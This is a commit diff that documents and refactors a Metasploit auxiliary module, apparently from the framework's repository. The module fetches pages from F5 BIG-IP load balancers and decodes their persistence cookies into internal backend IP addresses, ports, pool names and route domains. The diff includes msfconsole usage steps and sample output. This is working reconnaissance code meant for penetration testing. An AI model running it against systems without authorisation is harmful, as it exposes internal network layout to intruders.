Land #12217, f5_bigip_cookie_disclosure module now stores the cookie in noteswq
This commit is contained in:
commit
7b11429b49
|
@ -0,0 +1,61 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module identifies F5 BIG-IP load balancers and leaks backend information (pool name, routed domain,
|
||||
and backend servers' IP addresses and ports) through cookies inserted by the BIG-IP systems.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
1. Do: `use auxiliary/gather/f5_bigip_cookie_disclosure`
|
||||
1. Do: `set RHOSTS www.example.com`
|
||||
1. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
### REQUESTS
|
||||
|
||||
The number of requests to send. Default value is `10`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### F5 BIP-IP load balancing cookie not found
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/gather/f5_bigip_cookie_disclosure
|
||||
msf5 auxiliary(gather/f5_bigip_cookie_disclosure) > set RHOSTS www.example.com
|
||||
RHOSTS => www.example.com
|
||||
msf5 auxiliary(gather/f5_bigip_cookie_disclosure) > run
|
||||
[*] Running module against 93.184.216.34
|
||||
|
||||
[*] Starting request /
|
||||
[-] F5 BIG-IP load balancing cookie not found
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(gather/f5_bigip_cookie_disclosure) >
|
||||
```
|
||||
|
||||
### F5 BIP-IP load balancing cookie found
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/gather/f5_bigip_cookie_disclosure
|
||||
msf5 auxiliary(gather/f5_bigip_cookie_disclosure) > set RHOSTS vulnerable-target.com
|
||||
RHOSTS => vulnerable-target.com
|
||||
msf5 auxiliary(gather/f5_bigip_cookie_disclosure) > run
|
||||
[*] Running module against 1.1.1.1
|
||||
|
||||
[*] Starting request /
|
||||
[+] F5 BIG-IP load balancing cookie "BIGipServer~DMZ~EXAMPLE~vulnarable-target-443_pool = 1214841098.47873.0000" found
|
||||
[+] Load balancing pool name "~DMZ~EXAMPLE~vulnarable-target-443_pool" found
|
||||
[+] Backend 10.1.105.72:443 found
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(gather/f5_bigip_cookie_disclosure) > notes
|
||||
|
||||
Notes
|
||||
=====
|
||||
|
||||
Time Host Service Port Protocol Type Data
|
||||
---- ---- ------- ---- -------- ---- ----
|
||||
2019-08-20 21:21:02 UTC 1.1.1.1 f5_load_balancer_cookie_name "BIGipServer~DMZ~EXAMPLE~vulnarable-target-443_pool"
|
||||
2019-08-20 21:21:02 UTC 1.1.1.1 f5_load_balancer_pool_name "~DMZ~EXAMPLE~vulnarable-target-443_pool"
|
||||
2019-08-20 21:21:02 UTC 1.1.1.1 f5_load_balancer_backends [{:host=>"10.1.105.72", :port=>443}]
|
||||
msf5 auxiliary(gather/f5_bigip_cookie_disclosure) >
|
||||
```
|
|
@ -8,69 +8,77 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'F5 BigIP Backend Cookie Disclosure',
|
||||
'Description' => %q{
|
||||
This module identifies F5 BigIP load balancers and leaks backend
|
||||
information (pool name, backend's IP address and port, routed domain)
|
||||
through cookies inserted by the BigIP system.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'F5 BIG-IP Backend Cookie Disclosure',
|
||||
'Description' => %q{
|
||||
This module identifies F5 BIG-IP load balancers and leaks backend information
|
||||
(pool name, routed domain, and backend servers' IP addresses and ports) through
|
||||
cookies inserted by the BIG-IP systems.
|
||||
},
|
||||
'Author' => [
|
||||
'Thanat0s <thanspam[at]trollprod.org>',
|
||||
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
|
||||
'Nikita Oleksov <neoleksov[at]gmail.com>',
|
||||
'Denis Kolegov <dnkolegov[at]gmail.com>'
|
||||
'Denis Kolegov <dnkolegov[at]gmail.com>',
|
||||
'Paul-Emmanuel Raoul <skyper@skyplabs.net>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://support.f5.com/kb/en-us/solutions/public/6000/900/sol6917.html'],
|
||||
['URL', 'http://support.f5.com/kb/en-us/solutions/public/7000/700/sol7784.html?sr=14607726']
|
||||
'References' => [
|
||||
['URL', 'https://support.f5.com/csp/article/K6917'],
|
||||
['URL', 'https://support.f5.com/csp/article/K7784'],
|
||||
['URL', 'https://support.f5.com/csp/article/K14784'],
|
||||
['URL', 'https://support.f5.com/csp/article/K23254150']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => []
|
||||
}
|
||||
))
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('RPORT', [true, 'The BigIP service port to listen on', 443]),
|
||||
OptInt.new('RPORT', [true, 'The BIG-IP service port', 443]),
|
||||
OptString.new('TARGETURI', [true, 'The URI path to test', '/']),
|
||||
OptInt.new('REQUESTS', [true, 'The number of requests to send', 10])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def change_endianness(value, size = 4)
|
||||
conversion = nil
|
||||
if size == 4
|
||||
conversion = [value].pack("V").unpack("N").first
|
||||
conversion = [value].pack('V').unpack('N').first
|
||||
elsif size == 2
|
||||
conversion = [value].pack("v").unpack("n").first
|
||||
conversion = [value].pack('v').unpack('n').first
|
||||
end
|
||||
conversion
|
||||
end
|
||||
|
||||
def cookie_decode(cookie_value)
|
||||
backend = {}
|
||||
case
|
||||
when cookie_value =~ /(\d{8,10})\.(\d{1,5})\./
|
||||
if cookie_value =~ /(\d{8,10})\.(\d{1,5})\./
|
||||
host = Regexp.last_match(1).to_i
|
||||
port = Regexp.last_match(2).to_i
|
||||
host = change_endianness(host)
|
||||
host = Rex::Socket.addr_itoa(host)
|
||||
port = change_endianness(port, 2)
|
||||
when cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/
|
||||
elsif cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/
|
||||
host = Regexp.last_match(1).to_i(16)
|
||||
port = Regexp.last_match(2).to_i
|
||||
host = Rex::Socket.addr_itoa(host)
|
||||
when cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/
|
||||
elsif cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/
|
||||
host = Regexp.last_match(1).to_i(16)
|
||||
port = Regexp.last_match(2).to_i
|
||||
host = Rex::Socket.addr_itoa(host, true)
|
||||
port = change_endianness(port, 2)
|
||||
when cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/
|
||||
elsif cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/
|
||||
host = Regexp.last_match(1).to_i(16)
|
||||
port = Regexp.last_match(2).to_i
|
||||
host = Rex::Socket.addr_itoa(host, true)
|
||||
|
@ -84,9 +92,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
backend
|
||||
end
|
||||
|
||||
def get_cookie # request a page and extract a F5 looking cookie.
|
||||
def fetch_cookie
|
||||
# Request a page and extract a F5 looking cookie
|
||||
cookie = {}
|
||||
res = send_request_raw({ 'method' => 'GET', 'uri' => @uri })
|
||||
res = send_request_raw('method' => 'GET', 'uri' => @uri)
|
||||
|
||||
unless res.nil?
|
||||
# Get the SLB session IDs for all cases:
|
||||
|
@ -96,15 +105,15 @@ class MetasploitModule < Msf::Auxiliary
|
|||
# 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80"
|
||||
|
||||
regexp = /
|
||||
([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|
|
||||
([~.\-\w]+)=(((?:\d+\.){2}\d+)|
|
||||
(rd\d+o0{20}f{4}\w+o\d{1,5})|
|
||||
(vi([a-f0-9]{32})\.(\d{1,5}))|
|
||||
(rd\d+o([a-f0-9]{32})o(\d{1,5})))
|
||||
(?:$|,|;|\s)
|
||||
/x
|
||||
m = res.get_cookies.match(regexp)
|
||||
cookie[:id] = (m.nil?) ? nil : m[1]
|
||||
cookie[:value] = (m.nil?) ? nil : m[2]
|
||||
cookie[:id] = m.nil? ? nil : m[1]
|
||||
cookie[:value] = m.nil? ? nil : m[2]
|
||||
end
|
||||
cookie
|
||||
end
|
||||
|
@ -112,25 +121,31 @@ class MetasploitModule < Msf::Auxiliary
|
|||
def run
|
||||
requests = datastore['REQUESTS']
|
||||
backends = []
|
||||
cookie_name = ''
|
||||
pool_name = ''
|
||||
route_domain = ''
|
||||
@uri = normalize_uri(target_uri.path.to_s)
|
||||
print_status("Starting request #{@uri}")
|
||||
|
||||
(1..requests).each do |i|
|
||||
cookie = get_cookie # Get the cookie
|
||||
cookie = fetch_cookie # Get the cookie
|
||||
# If the cookie is not found, stop process
|
||||
if cookie.empty? || cookie[:id].nil?
|
||||
print_error("F5 BigIP load balancing cookie not found")
|
||||
return
|
||||
print_error('F5 BIG-IP load balancing cookie not found')
|
||||
return nil
|
||||
end
|
||||
|
||||
# Print the cookie name on the first request
|
||||
if i == 1
|
||||
print_good("F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found")
|
||||
cookie_name = cookie[:id]
|
||||
print_good("F5 BIG-IP load balancing cookie \"#{cookie_name} = #{cookie[:value]}\" found")
|
||||
if cookie[:id].start_with?('BIGipServer')
|
||||
print_good("Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found")
|
||||
pool_name = cookie[:id].split('BIGipServer')[1]
|
||||
print_good("Load balancing pool name \"#{pool_name}\" found")
|
||||
end
|
||||
if cookie[:value].start_with?('rd')
|
||||
print_good("Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found")
|
||||
route_domain = cookie[:value].split('rd')[1].split('o')[0]
|
||||
print_good("Route domain \"#{route_domain}\" found")
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -141,16 +156,25 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
# Reporting found cookie name in database
|
||||
unless cookie_name.empty?
|
||||
report_note(host: rhost, type: 'f5_load_balancer_cookie_name', data: cookie_name)
|
||||
# Reporting found pool name in database
|
||||
unless pool_name.empty?
|
||||
report_note(host: rhost, type: 'f5_load_balancer_pool_name', data: pool_name)
|
||||
end
|
||||
# Reporting found route domain in database
|
||||
unless route_domain.empty?
|
||||
report_note(host: rhost, type: 'f5_load_balancer_route_domain', data: route_domain)
|
||||
end
|
||||
end
|
||||
# Reporting found backends in database
|
||||
unless backends.empty?
|
||||
report_note(host: rhost, type: 'f5_load_balancer_backends', data: backends)
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error("Network connection error")
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("Network connection error")
|
||||
rescue ::OpenSSL::SSL::SSLError
|
||||
print_error("SSL/TLS connection error")
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::ConnectionError
|
||||
print_error('Network connection error')
|
||||
rescue ::OpenSSL::SSL::SSLError
|
||||
print_error('SSL/TLS connection error')
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue